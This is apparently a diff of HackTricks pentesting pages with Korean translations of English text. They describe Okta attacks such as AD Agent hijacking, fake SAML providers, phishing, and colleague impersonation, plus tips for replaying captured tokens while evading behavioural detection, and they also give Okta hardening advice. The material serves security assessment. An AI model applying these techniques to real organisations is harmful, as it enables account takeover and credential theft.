**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
이 기술은 **서버에서 Okta AD Agent에 접근**하여 **사용자를 동기화하고 인증을 처리**하는 것입니다. **`OktaAgentService.exe.config`**에서 구성을 검사하고 복호화하여, 특히 **DPAPI**를 사용한 AgentToken을 통해 공격자는 **인증 데이터를 가로채고 조작할 수 있습니다**. 이를 통해 Okta 인증 과정에서 사용자 자격 증명을 평문으로 **모니터링**하고 **캡처**할 수 있을 뿐만 아니라, 인증 시도에 **응답**하여 무단 접근을 가능하게 하거나 Okta를 통한 **보편적 인증**을 제공할 수 있습니다 (일종의 '스켈레톤 키'와 유사).
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
이 기술은 OAuth 코드를 먼저 얻은 후 API 토큰을 요청하여 Okta AD Agent를 탈취하는 것입니다. 이 토큰은 AD 도메인과 연결되어 있으며, **가짜 AD 에이전트를 설정하기 위해 커넥터가 명명됩니다**. 초기화하면 에이전트가 **인증 시도를 처리**할 수 있으며, Okta API를 통해 자격 증명을 캡처합니다. 이 프로세스를 간소화하기 위한 자동화 도구가 제공되어 Okta 환경 내에서 인증 데이터를 가로채고 처리하는 원활한 방법을 제공합니다.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
이 기술은 **가짜 SAML 공급자를 배포하는 것**입니다. 특권 계정을 사용하여 Okta의 프레임워크 내에 외부 Identity Provider (IdP)를 통합함으로써 공격자는 **IdP를 제어하고 원하는 인증 요청을 승인할 수 있습니다**. 이 과정은 Okta에서 SAML 2.0 IdP를 설정하고, 로컬 호스트 파일을 통해 리디렉션을 위해 IdP Single Sign-On URL을 조작하고, 자체 서명된 인증서를 생성하며, Okta 설정을 사용자 이름 또는 이메일과 일치하도록 구성하는 것을 포함합니다. 이러한 단계를 성공적으로 실행하면 개별 사용자 자격 증명 없이도 Okta 사용자로 인증할 수 있어, 잠재적으로 눈에 띄지 않게 접근 제어를 크게 강화할 수 있습니다.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
[**이 블로그 게시물**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)에서는 Okta 포털에 대한 피싱 캠페인을 준비하는 방법을 설명합니다.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
각 사용자가 가질 수 있는 **속성**(이메일 또는 이름과 같은)은 Okta에서 구성할 수 있습니다. 만약 **애플리케이션**이 사용자가 **수정할 수 있는** **속성**을 ID로 **신뢰**한다면, 그는 해당 플랫폼에서 **다른 사용자를 가장할 수 있습니다**.
|
||||
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
따라서 애플리케이션이 **`userName`** 필드를 신뢰하고 있다면, 아마도 변경할 수 없을 것입니다 (일반적으로 이 필드는 변경할 수 없기 때문입니다), 그러나 예를 들어 **`primaryEmail`**을 신뢰한다면 **동료의 이메일 주소로 변경**하고 가장할 수 있을 것입니다 (이메일에 접근할 수 있어야 하며 변경을 수락해야 합니다).
|
||||
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
이러한 가장은 각 애플리케이션이 어떻게 구성되었는지에 따라 다릅니다. 수정한 필드를 신뢰하고 업데이트를 수락하는 애플리케이션만이 탈취될 것입니다.\
|
||||
따라서 애플리케이션은 이 필드가 존재할 경우 활성화되어 있어야 합니다:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
또한 Okta 설정에 해당 필드가 없는 다른 취약한 애플리케이션도 보았습니다 (결국 서로 다른 애플리케이션이 다르게 구성됩니다).
|
||||
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
각 애플리케이션에서 누군가를 가장할 수 있는지 알아보는 가장 좋은 방법은 시도해 보는 것입니다!
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
Okta의 행동 감지 정책은 처음 접할 때까지 알 수 없지만, **우회**하는 것은 **Okta 애플리케이션을 직접 타겟팅**하여 주요 Okta 대시보드를 피함으로써 달성할 수 있습니다. **Okta 접근 토큰**을 사용하여 주요 로그인 페이지 대신 **애플리케이션 특정 Okta URL**에서 토큰을 재생하십시오.
|
||||
|
||||
Key recommendations include:
|
||||
주요 권장 사항은 다음과 같습니다:
|
||||
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
- 캡처된 접근 토큰을 재생할 때 인기 있는 익명화 프록시 및 VPN 서비스를 **사용하지 마십시오**.
|
||||
- 클라이언트와 재생된 접근 토큰 간에 **일관된 사용자 에이전트 문자열**을 보장하십시오.
|
||||
- 동일한 IP 주소에서 다른 사용자로부터 **토큰을 재생하지 마십시오**.
|
||||
- Okta 대시보드에 대해 토큰을 재생할 때 주의하십시오.
|
||||
- 피해 회사의 IP 주소를 알고 있다면, **트래픽을 해당 IP 또는 해당 범위로 제한**하고 다른 모든 트래픽을 차단하십시오.
|
||||
|
||||
## Okta Hardening
|
||||
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
Okta는 많은 가능한 구성이 있으며, 이 페이지에서는 가능한 한 안전하게 검토하는 방법을 찾을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
@@ -112,7 +112,3 @@ okta-hardening.md
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
공격자의 관점에서 볼 때, 이는 매우 흥미롭습니다. **등록된 모든 사용자**, 그들의 **이메일** 주소, 그들이 속한 **그룹**, **프로필** 및 심지어 **장치**(모바일 및 운영 체제)를 볼 수 있습니다.
|
||||
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
화이트박스 검토를 위해 "**대기 중인 사용자 작업**" 및 "**비밀번호 재설정**"이 여러 개 없는지 확인하십시오.
|
||||
|
||||
### Groups
|
||||
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
여기에서 Okta에 생성된 모든 그룹을 찾을 수 있습니다. **사용자**에게 부여될 수 있는 다양한 그룹(일련의 **권한**)을 이해하는 것이 흥미롭습니다.\
|
||||
**그룹에 포함된 사람들**과 각 그룹에 **할당된 앱**을 볼 수 있습니다.
|
||||
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
물론, **admin**이라는 이름의 그룹은 흥미롭습니다. 특히 **Global Administrators** 그룹을 확인하여 가장 특권이 있는 구성원이 누구인지 알아보십시오.
|
||||
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
화이트박스 검토에서 **글로벌 관리자가 5명 이상이면 안 됩니다**(2명 또는 3명만 있는 것이 더 좋습니다).
|
||||
|
||||
### Devices
|
||||
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
여기에서 모든 사용자의 **장치 목록**을 찾을 수 있습니다. **적극적으로 관리되고 있는지** 여부도 확인할 수 있습니다.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
여기에서는 이름, 성, 이메일, 사용자 이름 등과 같은 주요 정보가 Okta와 다른 애플리케이션 간에 어떻게 공유되는지 관찰할 수 있습니다. 사용자가 **Okta에서 필드**(예: 이름 또는 이메일)를 수정할 수 있다면, 이는 **외부 애플리케이션**에서 사용자를 **식별**하는 데 사용될 수 있으므로 내부자가 다른 계정을 **탈취**하려고 시도할 수 있습니다.
|
||||
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
또한 Okta의 프로필 **`User (default)`**에서 각 **사용자**가 가진 **필드**와 사용자가 **수정할 수 있는 필드**를 확인할 수 있습니다. 관리 패널을 볼 수 없다면, **프로필 업데이트** 정보를 확인하면 어떤 필드를 업데이트할 수 있는지 볼 수 있습니다(이메일 주소를 업데이트하려면 확인이 필요합니다).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
디렉토리는 기존 소스에서 사람을 가져올 수 있게 해줍니다. 여기에서 다른 디렉토리에서 가져온 사용자를 볼 수 있을 것입니다.
|
||||
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
보지 못했지만, Okta가 사용자를 가져오기 위해 사용하는 **다른 디렉토리**를 찾는 것이 흥미롭습니다. 따라서 **해당 디렉토리를 타협하면** Okta에서 생성된 사용자에 대한 일부 속성 값을 설정하고 **Okta 환경을 타협할 수 있습니다**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
프로필 소스는 사용자 프로필 속성의 **진실의 출처로 작용하는 애플리케이션**입니다. 사용자는 한 번에 단일 애플리케이션 또는 디렉토리에서만 소스될 수 있습니다.
|
||||
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
보지 못했으므로 이 옵션에 대한 보안 및 해킹 관련 정보는 감사히 받겠습니다.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
이 섹션의 **Domains** 탭에서 이메일 주소를 확인하고 회사의 Okta 내 사용자 지정 도메인을 확인하십시오(아마 이미 알고 있을 것입니다).
|
||||
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
또한 **Setting** 탭에서 관리자인 경우 "**사용자 지정 로그아웃 페이지 사용**"을 선택하고 사용자 지정 URL을 설정할 수 있습니다.
|
||||
|
||||
### SMS
|
||||
|
||||
Nothing interesting here.
|
||||
여기서는 흥미로운 것이 없습니다.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
여기에서 구성된 애플리케이션을 찾을 수 있지만, 나중에 다른 섹션에서 그 세부 사항을 볼 것입니다.
|
||||
|
||||
### Other
|
||||
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
흥미로운 설정이지만 보안 관점에서 특별히 흥미로운 것은 없습니다.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
여기에서 모든 **구성된 애플리케이션**과 그 세부 정보를 찾을 수 있습니다: 누가 접근할 수 있는지, 어떻게 구성되어 있는지(SAML, OpenID), 로그인 URL, Okta와 애플리케이션 간의 매핑...
|
||||
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
**`Sign On`** 탭에는 사용자가 애플리케이션 설정을 확인할 때 **비밀번호를 표시**할 수 있는 **`Password reveal`**이라는 필드도 있습니다. 사용자 패널에서 애플리케이션의 설정을 확인하려면 3개의 점을 클릭하십시오:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
그리고 앱에 대한 더 많은 세부 정보를 볼 수 있습니다(비밀번호 표시 기능이 활성화되어 있는지 여부 등):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
Access Certifications를 사용하여 사용자의 리소스 접근을 주기적으로 검토하고 필요할 때 자동으로 접근을 승인하거나 철회하는 감사 캠페인을 생성하십시오.
|
||||
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
사용되는 것을 보지 못했지만, 방어 관점에서 볼 때 좋은 기능이라고 생각합니다.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
- **보안 알림 이메일**: 모두 활성화되어야 합니다.
|
||||
- **CAPTCHA 통합**: 최소한 보이지 않는 reCaptcha를 설정하는 것이 좋습니다.
|
||||
- **조직 보안**: 모든 것을 활성화할 수 있으며 활성화 이메일은 오래 걸리지 않아야 합니다(7일이면 괜찮습니다).
|
||||
- **사용자 열거 방지**: 두 가지 모두 활성화되어야 합니다.
|
||||
- 사용자 열거 방지가 효과를 발휘하지 않으려면 다음 조건이 허용되지 않아야 합니다(자세한 내용은 [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)를 참조하십시오):
|
||||
- 셀프 서비스 등록
|
||||
- 이메일 인증이 있는 JIT 흐름
|
||||
- **Okta ThreatInsight 설정**: 위협 수준에 따라 보안을 기록하고 시행합니다.
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
여기에서 올바르게 구성된 **설정**과 **위험한** 설정을 찾을 수 있습니다.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
여기에서 사용자가 사용할 수 있는 모든 인증 방법을 찾을 수 있습니다: 비밀번호, 전화, 이메일, 코드, WebAuthn... 비밀번호 인증기를 클릭하면 **비밀번호 정책**을 볼 수 있습니다. 강력한지 확인하십시오.
|
||||
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
**Enrollment** 탭에서 필수 또는 선택 사항인 항목을 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
전화 인증은 비활성화하는 것이 좋습니다. 가장 강력한 조합은 아마 비밀번호, 이메일 및 WebAuthn의 조합일 것입니다.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
모든 앱에는 인증 정책이 있습니다. 인증 정책은 앱에 로그인하려는 사용자가 특정 조건을 충족하는지 확인하고 해당 조건에 따라 요소 요구 사항을 시행합니다.
|
||||
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
여기에서 각 애플리케이션에 접근하기 위한 **요구 사항**을 찾을 수 있습니다. 각 애플리케이션에 대해 최소한 비밀번호와 다른 방법을 요청하는 것이 좋습니다. 그러나 공격자로서 더 약한 것을 발견하면 공격할 수 있을 것입니다.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
여기에서 다양한 그룹에 할당된 세션 정책을 찾을 수 있습니다. 예를 들어:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
MFA를 요청하고, 세션 수명을 몇 시간으로 제한하며, 브라우저 확장 프로그램 간에 세션 쿠키를 지속하지 않도록 하고, 위치 및 ID 공급자를 제한하는 것이 좋습니다(가능한 경우). 예를 들어, 모든 사용자가 특정 국가에서 로그인해야 하는 경우 해당 위치만 허용할 수 있습니다.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
ID 공급자(IdPs)는 **사용자 계정을 관리하는 서비스**입니다. Okta에 IdPs를 추가하면 최종 사용자가 소셜 계정이나 스마트 카드를 통해 먼저 인증하여 사용자 지정 애플리케이션에 **셀프 등록**할 수 있습니다.
|
||||
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
ID 공급자 페이지에서 소셜 로그인을 추가하고 수신 SAML을 추가하여 Okta를 서비스 제공자(SP)로 구성할 수 있습니다. IdPs를 추가한 후에는 사용자의 위치, 장치 또는 이메일 도메인과 같은 컨텍스트에 따라 사용자를 IdP로 안내하는 라우팅 규칙을 설정할 수 있습니다.
|
||||
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
**어떤 ID 공급자가 구성되어 있다면** 공격자와 방어자의 관점에서 해당 구성을 확인하고 **출처가 정말 신뢰할 수 있는지** 확인하십시오. 공격자가 이를 타협하면 Okta 환경에 접근할 수 있습니다.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
위임 인증을 통해 사용자는 조직의 **Active Directory(AD) 또는 LDAP** 서버에 대한 자격 증명을 입력하여 Okta에 로그인할 수 있습니다.
|
||||
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
다시 확인하십시오. 공격자가 조직의 AD를 타협하면 이 설정 덕분에 Okta로 피벗할 수 있습니다.
|
||||
|
||||
### Network
|
||||
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
네트워크 존은 요청하는 **IP 주소**에 따라 조직의 컴퓨터 및 장치에 대한 접근을 **부여하거나 제한**하는 데 사용할 수 있는 구성 가능한 경계입니다. 하나 이상의 개별 IP 주소, IP 주소 범위 또는 지리적 위치를 지정하여 네트워크 존을 정의할 수 있습니다.
|
||||
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
하나 이상의 네트워크 존을 정의한 후에는 **글로벌 세션 정책**, **인증 정책**, VPN 알림 및 **라우팅 규칙**에서 이를 사용할 수 있습니다.
|
||||
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
공격자의 관점에서 어떤 IP가 허용되는지 아는 것이 흥미롭습니다(그리고 어떤 **IP가 다른 IP보다 더 특권이 있는지 확인하십시오**). 공격자의 관점에서 사용자가 특정 IP 주소나 지역에서 접근해야 하는 경우 이 기능이 제대로 사용되고 있는지 확인하십시오.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
- **Endpoint Management**: 엔드포인트 관리는 관리되는 장치가 애플리케이션에 접근할 수 있도록 보장하기 위해 인증 정책에 적용할 수 있는 조건입니다.
|
||||
- 아직 사용된 것을 보지 못했습니다. TODO
|
||||
- **Notification services**: 아직 사용된 것을 보지 못했습니다. TODO
|
||||
|
||||
### API
|
||||
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
이 페이지에서 Okta API 토큰을 생성하고 **생성된** 토큰, **권한**, **만료** 시간 및 **출처 URL**을 볼 수 있습니다. API 토큰은 토큰을 생성한 사용자의 권한으로 생성되며, **토큰을 생성한 사용자**가 **활성** 상태일 때만 유효합니다.
|
||||
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
**신뢰할 수 있는 출처**는 Okta API를 통해 Okta 조직에 접근할 수 있도록 제어하고 신뢰하는 웹사이트에 대한 접근을 부여합니다.
|
||||
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
API 토큰이 많지 않아야 합니다. 그렇지 않으면 공격자가 이를 접근하고 사용할 수 있습니다.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
자동화는 최종 사용자의 생애 주기 동안 발생하는 일련의 트리거 조건에 따라 실행되는 자동화된 작업을 생성할 수 있게 해줍니다.
|
||||
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
예를 들어 조건은 "Okta에서 사용자 비활성" 또는 "Okta에서 사용자 비밀번호 만료"일 수 있으며, 작업은 "사용자에게 이메일 전송" 또는 "Okta에서 사용자 생애 주기 상태 변경"일 수 있습니다.
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
로그를 다운로드하십시오. 현재 계정의 **이메일 주소**로 **전송**됩니다.
|
||||
|
||||
### System Log
|
||||
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
여기에서 사용자가 수행한 **작업의 로그**를 찾을 수 있으며, Okta 또는 Okta를 통해 애플리케이션에 로그인하는 것과 같은 많은 세부 정보가 포함되어 있습니다.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
이것은 **Okta에 접근한 다른 플랫폼의 로그를 가져올 수 있습니다**.
|
||||
|
||||
### Rate limits
|
||||
|
||||
Check the API rate limits reached.
|
||||
도달한 API 속도 제한을 확인하십시오.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
여기에서 Okta 환경에 대한 **일반 정보**를 찾을 수 있습니다. 회사 이름, 주소, **이메일 청구 연락처**, **이메일 기술 연락처** 및 Okta 업데이트를 받을 사람과 어떤 종류의 Okta 업데이트인지 포함됩니다.
|
||||
|
||||
### Downloads
|
||||
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
여기에서 Okta를 다른 기술과 동기화하기 위한 Okta 에이전트를 다운로드할 수 있습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,103 +6,99 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
VCS는 **버전 관리 시스템**을 의미하며, 이 시스템은 개발자가 **소스 코드를 관리**할 수 있도록 합니다. 가장 일반적인 것은 **git**이며, 기업들은 보통 다음 **플랫폼** 중 하나에서 이를 사용합니다:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
- 클라우드 제공업체 (자체 VCS 플랫폼 제공)
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있도록 하여, 애플리케이션을 빌드, 테스트 및 배포하는 다양한 목적을 수행합니다. 이러한 자동화된 워크플로우는 **특정 작업**(예: 코드 푸시, 풀 리퀘스트 또는 예약된 작업)에 의해 **트리거**됩니다. 이는 개발에서 프로덕션으로의 프로세스를 간소화하는 데 유용합니다.
|
||||
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
그러나 이러한 시스템은 **어딘가에서 실행**되어야 하며, 보통 **코드를 배포하거나 민감한 정보에 접근하기 위해 권한이 있는 자격 증명**이 필요합니다.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
> 일부 VCS 플랫폼이 이 섹션을 위한 파이프라인 생성을 허용하더라도, 우리는 소스 코드 제어에 대한 잠재적 공격만 분석할 것입니다.
|
||||
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
